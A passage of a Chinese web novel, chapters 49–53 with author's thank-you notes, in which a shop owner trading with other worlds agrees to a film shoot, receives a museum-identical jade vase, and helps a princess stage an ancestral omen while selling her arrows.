手串数量繁多，好看归好看，但过于精巧了些，萧妧妧想不到要给它们安排在哪里，才不会让它们在大件古董中黯然失色、失去应有的关注。 云昭昭接到任务，拍着胸脯保证会给出意见，而后踏进店铺。 “哇……” 刚一进门，云昭昭便被眼前的景象惊艳，情不自禁发出赞叹声。 店内陈列着各式各样的古朴物件，或华丽、或精致、或素雅、或贵气。 “怎么不进去？” 萧妧妧看她被施了定身咒一般，堵在门边好久，歪头凑过来。 云昭昭艰难地咽了咽口水，语气胆怯，“它们看起来太贵重了，我不敢进。” 说着，她的目光不由自主投向角落。 那里放着一台半圆形桌，桌上赤裸裸摆着一个精美的粉色瓷罐，罐子里插了几只百合，她几乎分不清哪个是装饰点缀，哪个是古董艺术品。 两人直挺挺杵在门边，刚拍到满意照片的季随转身便注意到这里。 他大致扫了一眼，从另一道门进入，悠闲漫步似的闲逛，目光不以为然的落在这些所谓的古董上。 不是他挑剔，而是很难想象能在开在闹市区的艺术品商店里，看到货真价实的古董。 然而视线刚碰上玉瓶，来不及琢磨玉料，他很快又被旁边做工精巧的头饰吸引了目光，没等多看两眼，璀璨夺目的紫翡耳坠闯入视野，争夺他的注意力。 原本抱有轻视之意的季随，不得不改变自己先前的看法。 他缓缓摘下墨镜，从门口第一个柜台开始，仔仔细细、认认真真地一个接一个看过去。 慢悠悠地转完整整一圈之后，又重新将目光投向整个店铺的布局，眼神时而闪烁，时而凝滞，似乎评估着什么。 云昭昭和萧妧妧则压低声音交头接耳起来，她说：“季先生总是这样，我在路上遇见他的时候，他也这么盯着一家院子看。” 萧妧妧不禁感到诧异，微微挑起眉梢，季随不会是看上她的铺子了吧？ 心底有了些猜测，萧妧妧莫名有点小激动。 “季先生学摄影的吧，从摄影师角度来看，您觉得我这铺子陈设得怎么样？还有哪里需要改进？” 季随的目光完完整整地落在了萧妧妧身上，开始认真地审视起她来。 萧妧妧经营艺术品店，意外的是，她对于参观者们对店内艺术品的看法似乎并不怎么在意，反而一直在询问关于店铺的陈设和整体环境方面的问题。 只有两种可能，其一是萧妧妧对于店铺中的艺术品充满了极度的自信心，以至于她认为根本无需他人给予任何建议或评价； 而另一种情况则是她对艺术品根本不上心，无论它们品质优劣都无关紧要。 当然，也不排除萧妧妧在轻视他，认为他不懂艺术品，无需征询意见。 季随环顾一圈，诚恳回答：“我挑不出问题，这是一间有独特韵味的铺子。” 他对古董文物又或是艺术品的了解的确不够深刻，但不妨碍他能感受，懂欣赏。 萧妧妧险些压制不住自己上扬的嘴角。 能够得到他人对于自身审美水平，以及辛勤劳动成果的充分肯定，这感觉实在太爽了，尤其给予她肯定的是玩艺术的季随，喜悦更是加倍递增。 季随抬起相机，示意整间店铺，“介意我多拍几张吗？” 萧妧妧：“季先生是打算发在网上？” 季随迟疑了片刻，如实告知：“不，其实不破斋很美，我是希望能在这里取景。” “取景？”萧妧妧低呼出声。 惊喜来得猝不及防，她正发愁找不到合适的机会跟季随搭上关系，等时机合适了，她也好自然而然的提出投资电影的想法，谁知道愁了没几天，季随居然主动送上门来。 机会难得，萧妧妧紧握拳头，眸子亮如星辰。 【作者有话说】 感谢大家投的营养液(*￣3)(ε￣*) 感谢： 读者“小窗户”,灌溉营养液 +3 2024-12-2212:44:31 读者“隺翯”,灌溉营养液 +3 2024-12-2021:27:48 读者“隺翯”,灌溉营养液 +10 2024-12-2021:26:30 50 第50章 ◎博物馆一件我一件◎ 季随的目光自始至终放在店铺里,听到萧妧妧惊呼，只当她没理解，细致解释一遍。 “对，可能会借用萧小姐的店铺拍摄影片……” “好啊好啊,我当然是愿意的,现在就可以答应你。” 萧妧妧不等他说完,迫不及待地点头答应。 季随脸上露出一丝意外的神色。 一般来说,古董铺、奢侈品店以及艺术品店不太欢迎剧组打扰，一是影响正经生意,二是怕损坏了店内贵重商品，引发不必要的纠纷和麻烦。 “萧小姐真的考虑清楚了？剧组的预算有限,能批下来的租金可能不会很高。” 投资方面有限制，季随不得不在选择外景这一环节花费更多的精力和时间。 他不仅需要找到价格实惠的场地,确保其能够与影片所期望展现的气质相契合，同时还兼顾程序性的问题。 连着半个月走访采风,不破斋是最符合他要求的,更妙的是,店铺老板萧妧妧十分爽快,顺利到季随有些不敢置信,反复向她确认。 “当然，我不在意租金，能在我的不破斋取景，怎么不算一种宣传呢？到时候吸引粉丝打卡,怎么说也是人气嘛。” 听到萧妧妧乐观的话语，季随一时间竟不知该如何回应。 每年产出的影视剧多如牛毛,然而真正能够火爆出圈、广受观众喜爱的作品却是凤毛麟角,屈指可数。 在此前提下,想要通过一部影视作品带火取景地，并成功吸引大量粉丝前去打卡，这种情况实在是少之又少，堪称罕见。 萧妧妧的想法可以说有些不切实际。 季随思考着，是否应该跟萧妧妧把话说清楚，又听她兴致勃勃接话：“对了，要拍什么类型的片子？说不定我还能参与投资呢。” 话题转变得毫无预兆，萧妧妧总算借着闲谈说出心里话，她眨着眼睛去看季随，等他表态。 季随无奈地扯动了一下嘴角，显然并未当真。 类似的寒暄他听过太多，看似充满希望，最终无不是不了了之，不过是名利场上顺嘴一提的社交辞令。 他不觉得一个寂寂无名的导演能够得到谁的青睐，哪怕他履历还算漂亮，可在真金白银面前，漂亮履历不值一提。 季随早在立项之初就决定独自承担拍摄成本，当然，这并不意味着他要拒绝其他公司或者个人的投资，只是他不相信萧妧妧能出得起相应的资金。 电影是烧钱的艺术，显而易见，萧妧妧不像是能出得起百万千万资金，并承受得住看水花听响声的坏结果。 季随的脑海中快速地将这些念头过了一遍，面上表情仍是淡淡，他没接下投资的话题，转而客气道：“谢谢萧小姐支持，等项目启动再拟协议，详谈租用场地的细节吧。” 萧妧妧见他对投资之事只字不提，心中不禁有些失落，但她很快调整好心态。 “好啊，那到时候再说吧。” 不破斋成了男主新电影的取景地，这本身就是一个绝佳的契机，以后想谈投资合作自然有了更多的可能性和机会。 想到这里，萧妧妧不自觉地捏紧了拳头。 这部电影有着高达40亿票房的潜力，千载难逢的良机，萧妧妧想从中分一杯羹，必须付出同等比例的投资，简单来说，至少是千万级别的资金投入进去。 当然，随便砸个几百万进去未尝不可，小赚也是赚，但在明确能获得高额回报的前提下，除非是脑子坏掉，否则谁愿意错失机遇？ 萧妧妧手里的现金三百多万，想要存到千万还得多多努力。 买房子的事可以放一放，一旦电影投资成功，赚来的钱别说买房子，别墅都能买一排。 萧妧妧恍恍惚惚盘算半天，忽然想起一件事，“古董铺子可以拍摄，包括院子，随便拍，但是小卖部不行。” 季随转头看到院子另一边的门，以及敞开的后门里隐约能看见小卖部内环境。 “萧小姐放心，不会影响小卖部营业。” 云昭昭好奇问：“为什么啊妧妧姐？不应该是古董铺的生意更重要吗？” 萧妧妧晃了晃食指，笑得神秘，“不，小卖部才是我的主业。” 云昭昭不解地挠头，难道小卖部能比卖古董艺术品更赚钱？ 季随又忙着在各个角度拍照，萧妧妧便回小卖部拿来一个红纸包塞上现金，回到院子里递给云昭昭。 “喏，谢谢昭昭帮忙取名，这是给你的红包。” 云昭昭错愕了一会，手脚慌乱地推拒。 “不不不，我不能收红包，只是取了名字而已……” 萧妧妧不理会她的推拒，拉过云昭昭的手，红包拍在她手心。 “收着吧，南市的规矩，请人取名字要包上大红包，图个顺顺利利、财源广进的好兆头。” 云昭昭听得一愣一愣，既然说是为了讨个吉利，她倒是不好再拒绝。 “谢谢妧妧姐。”云昭昭扭扭捏捏收下红包：“妧妧姐，我有礼物要给你，晚上我去找你。” 她做了一阵子日结的兼职，还有黎家周结的补课费，云昭昭这半个月下来攒了一笔小钱。 今天一早，她先去准备了礼物才满心欢喜的来小卖部帮忙，结果礼物没来得及送出手，她先收到了萧妧妧的红包。 云昭昭心里很清楚，妧妧姐是担心她抹不开面子，变着法子给她生活费。 “好啊，我好久没收礼物了，”萧妧妧表达对礼物的期待，随即转移话题，“对了，周日几点集合？黎行墨只邀请我跟你们去爬山，到现在也没通知集合时间地点。” 云昭昭顿时顾不上感动了，诧异问：“什么？难道不是妧妧姐邀请的学长？” 萧妧妧看她反应不对劲，摇头答：“当然不是，我和他不熟啊，他说你们约好了要爬山，他替你来邀请我，我还纳闷怎么不是你来邀请，按理说也是我们俩的关系更好吧。” 云昭昭面色微变，紧咬着嘴唇，像一只被惹恼的红眼兔子。 萧妧妧：“你们怎么了？” 云昭昭气鼓鼓告状：“学长他骗人！” 黎行墨约她周末出门，云昭昭直说她和萧妧妧有约，果断拒绝，结果没一会，黎行墨又跑来说他已经得到了萧妧妧的邀请，周末一起夜爬看日出看夜景，问她要不要加入。 既然是妧妧姐邀请了黎行墨，云昭昭自然是没话说的，一口应下。 萧妧妧听懂了，保持沉默。 合着是两头骗啊。 果然，又成男女主play的一环。 萧妧妧合理怀疑，恐怕周末过去了，黎行墨都想不起来通知她一声。 “妧妧姐，我要回去一趟。” 云昭昭帮不上忙，又不敢在古董铺里乱来，索性回去找黎行墨算账。 季随望着她的背影暗自出神，萧妧妧很想说一句‘你们三个把日子过好比什么都强’，硬生生憋了回去。 季随：“谢谢萧老板，我先回去了。” 并没有耽误多久，季随跟着追了出去，几乎是刚转身迈出院子，他急忙给云昭昭拨去电话。 萧妧妧伸着脑袋，直到吃不到瓜，才开始忙自己的事。 店名敲定还有另一件事要做，订做招牌。 萧妧妧正和老板讨论尺寸，一声“欢迎光临”响起。 前门没看见人，萧妧妧转身去看后门。 “妧妧你快看，我可是帮你淘来了好东西。” 苏娇娇这回打扮得光鲜亮丽，脸上笑意盈盈走进小卖部，走到柜台边，萧妧妧看到她手里提着大包小包。 “喏，这些都是给你的，尝尝看。盛芳阁的糕点、九妹蜜饯的果脯、丽云酒店的奶酥和烧鹅，可好吃了，是我这几日在京城寻到的老铺子，听说很受欢迎。” 萧妧妧一惊，“盛芳阁？丽云酒店？天呐……” 苏娇娇看向她，“怎么了？你看起来好惊讶。” “我当然惊讶了，这几家是京城的百年老字号，我在京城读书的时候每次去都排不上队，现在好了，托娇娇姐的福，我也是吃上了百年前老字号的手艺。” 苏娇娇心里有股奇异的感动和感慨，这一瞬间好像和萧妧妧的联系更紧*密了一点。 她们生活在同一天空下，出生在同一国家，说着同样的语言，走过同一个城市，现在还品尝过同一种味道。 萧妧妧熟知过去，苏娇娇向往未来。 苏娇娇不禁感叹：“听你描述百年后的京城……好奇特的感觉。” 萧妧妧心思一动，打开手机给她展示她镜头里的京城。 “娇娇姐随便看，我决定回南市后，花了一周时间把京城逛了个遍，拍了不知道多少照片视频，你看看，是不是看起来和百年前很像？” 苏娇娇放下包裹，抱着手机看得入神，划到下一张图片时，倏然呆住。 她咦了一声，赶紧翻出自己带来的礼盒，小心翼翼抱出它，摆在柜台上。 苏娇娇举止奇怪，神情有几分迟疑与思考，萧妧妧注意到不对劲，疑惑地凑过去看。 这一看，萧妧妧瞬间瞪大了眼睛，险些惊掉下巴。 “娇娇姐，你带来的这件白玉瓶，怎么和……” 萧妧妧以为自己看错了，揉揉眼睛反复比对之后，这只瓶子和博物馆里陈列的展品确实一模一样。 如果说两者之间存在差异的话，苏娇娇手里的白玉瓶更加光滑细腻、油润透亮一些，看起来养护得极好。 “你托我购置些古董，喏，我手里这件就是，它是我从一个长住京城的伯伯手里买来的，没想到……”苏娇娇不禁面露惊讶之色。 萧妧妧震惊得直挠头，搞不清楚眼前的状况。 不是……真就是博物馆一件我一件呗？ 【作者有话说】 感谢读者“小窗户”,灌溉营养液 50-60 51 第51章 ◎真相只有一个◎ 苏娇娇稍显为难,没想到自己精挑细选的宝贝和博物馆的馆藏撞上了。 “这……萧老板，你说这该怎么办？” 萧妧妧同样为难，不是已经开启了防重叠功能，为什么苏娇娇还能带来一模一样的文物？ 萧妧妧想不明白,或者说不敢深想,便把问题丢给系统。 【防重叠功能已启动,无任何异常】 系统反应迅速,当即给出答案。 无异常，只有两种可能,苏娇娇带来的文物在三次元是独一无二的真货，所以系统没有把它消消乐； 另一种可能,苏娇娇手里这件是赝品，博物馆里的是真品,一真一假，自然不算违规。 【系统888是总系统唯一认可的官方交易系统,交易过程中严禁出现任何假冒伪劣产品、有毒有公害产品、赝品……】 “等等,你是说,赝品和假货无法带进店铺交易？”萧妧妧一愣,忙不迭打断它。 【……是的】 系统的机械音迟缓传来。 那么……真相只有一个！ 萧妧妧震惊之余,稀罕地抱紧博物馆同款古董，好一会才冷静下来，失落地垮下肩膀。 博物馆的那件不消失，甭管手里这件古董是真是假,都只能是假的。 苏娇娇看她半晌不说话，面色变来变去,心中懊恼不已,索性夺过瓶子塞回盒子里。 “这事闹得……你放心吧,我回去重新挑一个。” 萧妧妧忙拦住她，“不，娇娇姐，我想留下它。” 毕竟是真古董，比博物馆里的还真，好不容易到她手上，萧妧妧没理由错过。 “我现在有得是金子，不怕。”萧妧妧拍着胸脯，喜滋滋说。 哪怕卖不出去砸在手里，萧妧妧也是乐意的，她现在真不担心金子，不仅不担心，还多添了6000克交给苏娇娇，请她继续代购。 苏娇娇见她不是开玩笑，长舒一口气。 说实话，这么大件东西不好出手，萧妧妧要是退回来，她真不知道该怎么处置它。 苏娇娇暗自反省，下回找些精巧的玩意。 “对了，你上回给我的东西……能不能再卖我些？” 古董的话题暂且放过，苏娇娇扭扭捏捏地凑到她耳边低语。 萧妧妧挠头，“上回……哪个东西？” 萧妧妧卖出去送出去的东西一大堆，一时半会想不起来。 苏娇娇不好意思说，红着脸跑到货架边，抱来两包卫生巾。 “喏，就是它们。” 萧妧妧恍悟，随即嘿嘿笑，看吧，她就说苏娇娇一定会喜欢。 “这几包不行，我们这里的卫生巾塌房了，你试试医用卫生巾，效果差不多的。” 萧妧妧抽走她手里的几个大品牌卫生巾，把这两天才到货的新产品给她。 苏娇娇抱着一箱子卫生巾脸发烫，“谢谢妧妧，两包足够了，明天要回云城，我的行李装不下它们。” 萧妧妧只好作罢，拆开箱子，日夜用的各挑出一包塞进她手里。 苏娇娇离开了，萧妧妧继续前面没忙完的事。 龙傲天一股脑塞来许多东西，大的小的玩的用的，摆进铺子里售卖的那些已经登记完成，还有不少没来得及清理和登记的。 顺手把博物馆同款青白玉瓶塞进空间，萧妧妧撸起袖子一顿忙。 天色要黑不黑的时候，萧妧妧忙出一身汗，总算处置妥当，没等她歇一会，小卖部后门又传来动静。 “萧老板在不在？有件急事要拜托你。” 难得见申明月急急忙忙找来，萧妧妧好奇问：“出什么事了？” 申明月叹气，递来一张纸。 “大宇朝派来探子，已经进了升州城，我总觉得不妙，想给舅舅们报信，可他们不相信父皇敢对升州动手。” 萧妧妧展开宣纸一看，上面写着“升州，危”三个大字。 “你需要我怎么做？” 申明月松了一口气，还好萧老板愿意帮忙。 她凑到萧妧妧耳边，小声嘀咕。 萧妧妧听着听着，不由看向结界，那里显示的画面正是申明月提到的祠堂。 “……这合适吗？祭祀的时候扔出去，万一把人吓出问题怎么办？” 申明月不以为然：“不会的，自家祠堂，还能怕自己老祖宗不成？” 这个理由很强大，萧妧妧找不出毛病，“好，我可以配合你，不需要你趴房梁上。” 小卖部可以调整范围，她两次操作，好巧不巧都是帮她们装神弄鬼，萧妧妧不由想笑。 “太好了，谢谢萧老板！只是可惜找不到外祖父的手稿，这三个字是母亲临摹的，希望舅舅们看不出来。” 萧妧妧灵机一动，“不如换成我这里的宣纸。” 申明月眼珠子一转，一下子明白过来。 “对啊，等以后我召集到人手生产它们，就说是外祖父托梦告诉我的方子。” 造纸的生意必须得带上申家人，既是弥补受到连累的族人，也是感念他们出手搭救，只是要把生意摆在明面上，有些细节不好解释。 萧妧妧随口一提，申明月一下子想通了许多，难题迎刃而解。 萧妧妧：“不止，宣纸在你那里足够特殊，不是更能坐实是你祖父显灵？” 粗糙计划得以完善，申明月兴奋得语气急促，“我这就让母亲重写一遍。” 她转身要跑，才迈开两步，申明月又折返回来。 “萧老板，我一直想问的，你柜台边放着的那一桶，是箭支吗？” 玻纤箭倒插着，锋利箭头朝上，萧妧妧以为申明月没注意到，想着找个合适时机推销一下，结果是申明月先开口。 萧妧妧喜不自禁，抽出两支递给她，“一个是玻纤箭，一个是碳混箭，我们这里独有的技术，可以给你带回去试试看。” 杀过人的都知道，兵器趁手很重要，萧妧妧拿不准古代人喜欢用哪个适合用哪个，索性把市面上能买到的都买了一些，每种各5000支。 申明月惊喜极了，捧着两支箭爱不释手，一会摸摸箭头，一会掰掰箭身，得到允许，她抓起箭支往花瓶里投。 “好箭！” 分别感受过后，申明月眼睛闪着晶光，眼巴巴望着满满一桶的箭支。 萧妧妧高兴地想搓手，但她有偶像包袱，艰难维持稳重形象。 “要多少？我这里一共三万支，不够的话，过几日我再给你备一些。” 同城配送，只要她肯加价，明天天亮就能送到店里。 申明月冷静下来，先思考当前的局势，再对己方的兵力进行一个大致的估量。 意识到父皇可能要出兵征讨，申明月当机立断前往申氏的武器库盘点了一番。 一进门，混杂着铁锈和尘埃气息扑面而来，申明月便知不妙，等她进库中盘点，不妙预感坐实了。 常用的弓箭数量最多，但箭支基本生锈腐坏，杀伤力不足。 长刀数量略少，因无人保养，早已失去了往日的锋利，钝得比不过菜刀。 除了弓箭和长刀之外，剩下的就只有一些破旧不堪、勉强能够被称之为农具的东西在滥竽充数。 申明月不禁感到一阵悲哀。 外祖父可是威震四方的武将，他所率领的申家军更是声名远扬，令敌人闻风丧胆，护得升州数十年的平稳。 而如今，申氏子孙却连一把完好的刀都拿不出手，曾经风光无限的申家军也已沦为一群残兵老将。 外祖父留下的部曲，多数让太平日子消磨掉了斗志，怕是怎么搭弓射箭都忘了。 申明月恨铁不成钢，但眼下最棘手的问题是，她不仅缺少人手，资金方面也是捉襟见肘，更要命的是时间紧迫。 以目前申氏一族的兵力来看，他们面临的压力巨大。 “劳烦萧老板帮忙准备十万支，这三万支……”深思熟虑后，申明月缓缓开口。 萧妧妧知道她面临的难处，豪爽地大手一挥挥。 “你尽管全部拿走。钱的事以后再算，放心，它们不贵，十三万支五十两金子足够了。” 有萧妧妧的保证，申明月心里暖融融，忙不迭掏出荷包。 “五十两金我还是有的，现在就给萧老板。” 萧妧妧接过金子懒得看，直接丢空间，转而问她，“你带回去的东西卖得如何？” 说起轻松话题，申明月眉头舒展，神情有几分得意。 “母亲最近常在后院走动，已经卖出去三粒西多芬，萧老板肯定想不到，那么小小一粒，竟然有人出价一百两银子买它。 /：. 还有手持镜，意外的受欢迎，母亲拿不准价格，随口报了五百两银子，竟有许多婶娘找来。 母亲怕卖得太多叫不上价，这几日推说没货了，谁知其他府上的夫人小姐得知，捧着金子找了来。” 申明月长这么大从未见过如此之多的金银财宝，更确切地说，是她自己赚取回来的财富。 母女二人怀揣着忐忑不安的心情，尝试做生意，毕竟是她们从未涉足过商业领域，可谓是一窍不通，全靠萧妧妧口头指点，才磕磕绊绊卖出去五把手持镜。 好在结果不错，沉甸甸的银子塞了一箱，重得她们抱不动，主仆四人一起才抬回去。 那一晚，申明月抱着母亲，母亲抱着箱子，箱子里装着银子，两人坐了大半夜。 “可惜，浮光锦不好出手，它太贵了。”她失望的说。 萧妧妧拍拍她肩膀，安慰：“不着急，如果卖不出去，就拿去送人，总归是能派上用场的。” 申明月背后有一个庞大的家族，想把他们团结起来，得非费不少心思，更要费不少好东西笼络人。 申明月重重点头：“谢谢萧老板，我都明白的，母亲说了，如果真没人买它，我们可以送给族长夫人，也是我的大舅母，有大舅母支持，族长舅舅肯定不会反对我带走部曲。” 萧妧妧看她摇头晃脑，说得头头是道，琢磨怎么贿赂族人，心里好笑。 “那点料子不够做衣裳的，又过于粉嫩，不合适年长女性，我给你找些酱色或是绿色红色的高级水晶缎。” 申明月更高兴了，蹦了两下，欢快说：“大舅母爱翠色，族长舅舅爱看舅母穿绛色，萧老板可以帮忙准备这两种颜色的料子吗？” 萧妧妧掏出手机一查，刚好有这两种颜色，一口应下，选好数量和尺寸，当着她的面下单。 看申明月要离开，萧妧妧递去《古文释读》，让她一并带走。 “托你的福，这次一共赚了一百四十万，比预计的多出十万。” “原来真的能赚到钱啊。”申明月惊喜极了，嘟囔道：“萧老板这里真好，写几个字也能有钱拿。” 她忽然想到什么，眼眸一亮。 “萧老板，族中藏书有《古文释读》另外半册，你说……” 申明月在想什么，萧妧妧瞬间明悟，赶紧打消她的念头。 也就是这次开了先例，他们联合申请才能顺利拿到悬赏金，萧妧妧以后再想投稿，是要正儿八经写论文的，像这样写个答案交上去不合适。 论文那玩意，写没写过的人都不会想写。 申明月摇头叹气，“看来只能老老实实做我的生意了，我现在才知道，做买卖这么繁琐，但是赚到钱的感觉又好幸福啊。” 萧妧妧被她老气横秋的样子逗笑，随口问：“为什么不开一个铺子？我记得你说过，你母亲在升州有些产业的吧？” 申明月像忽然见到太阳的向日葵，唰一下昂起脑袋，向着太阳转动。 【作者有话说】 感谢读者“隺翯”,灌溉营养液20瓶(′｀) 52 第52章 ◎不会带团队你就只能干到死◎ 申明月缺钱缺人,许多事情只能自己多上点心，可眼下有更重要的事，难免分身乏术。 她正愁生意该如何平稳继续下去，萧妧妧的提议给了她新的思路。 是啊,为什么不开个铺子,请母亲留在庄子上的陪房打理？ 申明月直跺脚：“对啊对啊,我怎么没想到。” 为了打通门路,母女二人前期难免要多操心，后来忙着忙着,赚钱的感觉太快乐了，舍不得丢开手。 萧妧妧摸摸她脑袋,可怜孩子，这是刚出宫还没见过什么世面呢。 “不会带团队你就只能干到死,能放手放手，别给自己找不痛快。” 申明月激动了一会,发现关键问题：“可是……萧老板,你说我该卖些什么好？” 萧妧妧眼珠子一转,道：“卖琉璃吧,这东西不愁没人要,顺带卖些手持镜什么的，它们来钱快，等你攒够了钱，我再把琉璃制作的技术卖给你,那可是会下蛋的金凤凰，只要你有人,想生产多少就能生产多少。” 申明月眨巴丹凤眼,指着自己,不可置信的问：“萧老板真愿意把琉璃的方子卖给我？” 萧妧妧点头，给她画大饼：“努力赚钱吧，我这里还有好多好东西呢。” 申明月握了握拳头，克制住激荡的心情，要不是人手不够，恨不得马上张罗起来。 “萧老板，麻烦你多为我准备点琉璃和手持镜，等那边事了，我立刻安排开铺子的事。”顿了顿，她得意仰头，说：“店铺名我想好了，叫不倒闭小卖铺。” 嗯，怎么不算把分店开到异世界了呢。 申明月念叨着总店分店，嗤嗤笑，笑完，她留意到前来宗祠的申氏族人越来越多，懊恼的说：“时间来不及了，我先回去一趟，萧老板你等等我，很快的。” 萧妧妧摆摆手，让她放心回去，然后自己盘腿坐在结界前看热闹。 这置景，这氛围，可比大制作电视剧好看多了。 萧妧妧抓了一把瓜子，看得津津有味，要抓第二把瓜子的时候，申明月已经换了一身正经衣服钻进小卖部。 她抖了抖宣纸，又吹了两下才递来。 “待会麻烦萧老板看我眼神，拜托了。”申明月躬身作揖。 萧妧妧擦了擦手，接过宣纸，“放心吧，保证完成任务。” 申明月深呼吸，转身回到申氏祠堂，远远站在队伍里。 申氏一族掌祭祀的一向是族中女性，并不忌讳女性族人参与祭祀，申家媳妇姑娘都可以前来，申明月和母亲挂的申氏旁支名头，是以能出现在祠堂外围。 这次主持祭祀的是申明月的姨婆，也是她母亲的亲姑姑。 萧妧妧设定好数值，眼巴巴瞅着另一个位面的祭祀仪式。 其实很无聊，但架不住场面宏大，她听了一阵子，大约是在念祭文，向祖宗汇报族中要事，夸赞族人成就，再祈求祖宗保佑，洋洋洒洒一长串话。 最后的流程是重中之重，申氏请来了祝巫跳舞娱祖，萧妧妧没见过这世面，看得目不转睛。 等祝巫跳完一个回合准备撤走，她注意到申明月挤了挤眼睛，嘴巴默念什么。 萧妧妧了然，赶紧将宣纸向结界挥扬。 有申明月配合一直念叨召唤口令，两个位面保持畅通连接，纸张轻而易举穿过结界，在半空中飘飘荡荡，缓慢下落。 申明月紧张极了，紧盯供桌方向，看宣纸成功夺走大家注意，长舒一口气。 结界这边，萧妧妧看宣纸顺利飘落，也安心了。 带头上香的族长最先发觉半空中的动静，不知从哪冒出来的纸飘落在祭品上，慢慢滑到桌案上。 族长舅舅面色一沉，想要叱责几句时，眸光一凝，看到了上面硕大的三个字。 “升州，危？” 话音一落，周遭族人无不是交头接耳，议论纷纷。 “怎么回事？这纸是哪来的？” “一派胡言，有申氏在，谁敢动升州？” “不对，我看得分明，那张纸是族长上香的时候从天上飘下来的。” “天上……祠堂上面什么也没有，莫要胡说。” “莫不是祖宗显灵了？” “噤声！听听族长怎么说。” 族人们吵嚷了一阵子，纷纷转头去看族长。 申明月站位偏僻，看不到族长舅舅什么神态，便与几位表姐妹传小话。 “城中有大宇朝的探子潜入，应是军中斥候，莫非祖宗所言的危是指这个？” 申明月的声音不高不低，不多会，身边的妇人和小姑娘们都听到了，一个传一个。 等族长和众位族老注意到这里的动静，申明月忽然带节奏惊呼。 “祖宗显灵了，祖宗显灵了！” 其他族人俱是呆愣住，好半晌跟着喊：“祖宗显灵了，显灵了。” 申明月看到族长舅舅环顾整个祠堂，望了望天，又看了看手里的宣纸，倏忽间，他像是发现什么，警觉地揉搓纸张。 申明月眼睛一眨不眨地盯着他，看他面色渐渐凝重，没多久，他放下纸张朝着祖宗牌位叩首。 萧妧妧挠了挠头，这应该算是成了？ 她去看申明月的反应，但显然，申明月无暇顾及小卖部，她得去盯着舅舅那边的态度。 两个位面没多久断开联系，萧妧妧只能看着一堵白墙猜测那边情况。 因为不放心，萧妧妧一直等到深夜，好在申明月还记着她，匆忙找来。 “成了成了，族长舅舅终于肯相信那是祖宗示警，派人去调查，只要大家警醒些，齐心协力，升州定能躲过一劫。”申明月小跑着进来，一进门嘴叭叭个不停，“这一招原是想着带走部曲的，可惜……只能另想法子了。” 她嘴里嘟囔着可惜，眼里却是闪烁着跃跃欲试的光芒，似乎装神弄鬼上瘾，还想找个机会试试。 萧妧妧神情微窘，总感觉小卖部莫名其妙开辟出一项不得了的新业务。 正走神，申明月走到柜台边，放下一团油纸包。 “此次来是告知萧老板一声，事情顺利，好让你安心。这是我母亲蒸的梨糕，萧老板可以尝尝。” 申明月那里忙完便赶来报信，母亲得知是来见恩人，特意包了些糕点。 天色不早，萧妧妧要休息，申明月要忙得事情不少，糕点送到，她再简单说两句就结束了。 送走申明月，萧妧妧没什么好忙的，开始为关门做准备。 撤广告牌时，熟悉的身影映入眼帘，定睛一看，是正在遛狗的黎行聿，视线相撞的刹那，双方都露出了意外的神色。 “萧小姐是准备关门？” “黎先生这会出来遛狗？” 仿佛心有灵犀一般，两人默契的沉默了两秒后，同时憋出了两句毫无营养的问候。 意识到自己说了废话，尴尬的气氛笼罩了他们。 好在有大王，它激动地嗷嗷叫，四只狗腿扑腾着要冲上来，黎行聿顾不上其他，紧紧拽住牵引绳。 “你们继续。” 她瑟缩一下，干巴巴留下一句话，赶紧退回店里，关灯关窗拉电闸，一气呵成。 锁上小卖部大门，萧妧妧转过身准备离开，抬眼瞥到门前树下的一人一狗，不由停下脚步。 他们竟然还没走。 双方距离不过十来米，萧妧妧想装看不见偷偷溜走显然不太礼貌，硬着头皮冲黎行聿点头打招呼。 料想黎行聿要继续遛狗，她朝着月牙巷的方向走，却没想到黎行聿牵着狗子跟了上来。 黎行聿：“一起吧。” 萧妧妧奇怪了两秒，忽然想到某种可能性，还没来得及在脑子里过一遍，不受控制地秃噜出来，“你们不会是在这里等我吧？” 黎行聿神色如常，不紧不慢地开口：“太晚了，你一个人走夜路不安全，正好顺路，一起。” 萧妧妧对他给出的答案感到出乎意料，错愕了一瞬。 她认真的以为黎行聿是嫌弃五万车费太贵，要和她商量退钱。 “谢谢你啊，黎先生你人真善良。” 她下意识低头看手机屏幕，此时已然是深夜十一点，再磨蹭一会恐怕要迈入第二天的门槛儿。 两人边走边说，大王时不时的哼哼唧唧凑过来，它凑近一点，萧妧妧便后退一点。 它进她退，她逃它追，一人一狗玩捉迷藏似的。 黎行聿低斥几句发现不起作用，索性抱起半人高的狗子，彻底困住它。 大王已然是目中无主了，一个劲眼巴巴地瞅着萧妧妧，脑袋跟着她转。 萧妧妧叉着腰喘了口气，猜测：“它是想跟我玩？” 黎行聿点头承认，“可以不用管它。” 萧妧妧单纯是怕狗咬她，对狗本身没有惧怕，确定大王态度友好，她试着伸出手。 “大王，握个手。” 大王开心的呼哧呼哧喘气，两爪并拢探出去，搭在萧妧妧手心。 “好狗！” 随口夸赞两句，大王更高兴了，嗷呜一声叫。 调戏一会狗子，她对黎行聿说道：“对了，黎先生周六中午有空的吧？我和黎先、哦，是你弟弟，约了明天中午吃饭，不知道他有没有跟你提过。” 萧妧妧这两天刷了不少新闻，学会一个新词，远洋捕捞。 想到职业打假人可能不知道给她举报到哪个消保委去，心里一阵后怕。 哪怕达不到远洋捕捞这么严重，只是小打小闹的敲诈索要赔偿，那一行李包的过期便当，即便按照最低金额赔付，也是一笔开销。 现在的自媒体发展迅速，万一那人胃口大，再给她发散出去造个谣，带个节奏，索要更多钱财…… 萧妧妧一脑补就打不住，各种糟糕结果全想了一遍，越想越感谢拔刀相助的两位黎先生。 “有空，他跟我说过，明天辛苦萧小姐了。” 【作者有话说】 感谢投营养液的小天使~ 感谢读者“小窗户”,灌溉营养液+5 2024-12-2715:01:46 感谢读者“玛卡巴卡”,灌溉营养液+7 2024-12-2700:18:31 感谢读者“隺翯”,灌溉营养液 +10 2024-12-2623:02:58 53 第53章 ◎绿茶的味道◎ 萧妧妧没想到,云昭昭为她准备的礼物会是一瓶香水。 一款她曾在云昭昭面前随口说起过的，柑橘香调的男士香水。 周六不营业，和异世界的客人们提前知会过要闭店，萧妧妧终于能睡懒觉,在床上蛄蛹到九点多才不情不愿爬起。 洗漱时,萧妧妧一直琢磨菜单,安排菜色,眼睛无意识一瞥，突然看到桌上的黑色包装袋,再仔细一看，上面印着某奢侈品牌的logo。 萧妧妧以为是父母落下的东西,转念一想不对，父母可不认识什么奢侈品,更舍不得花那个钱。 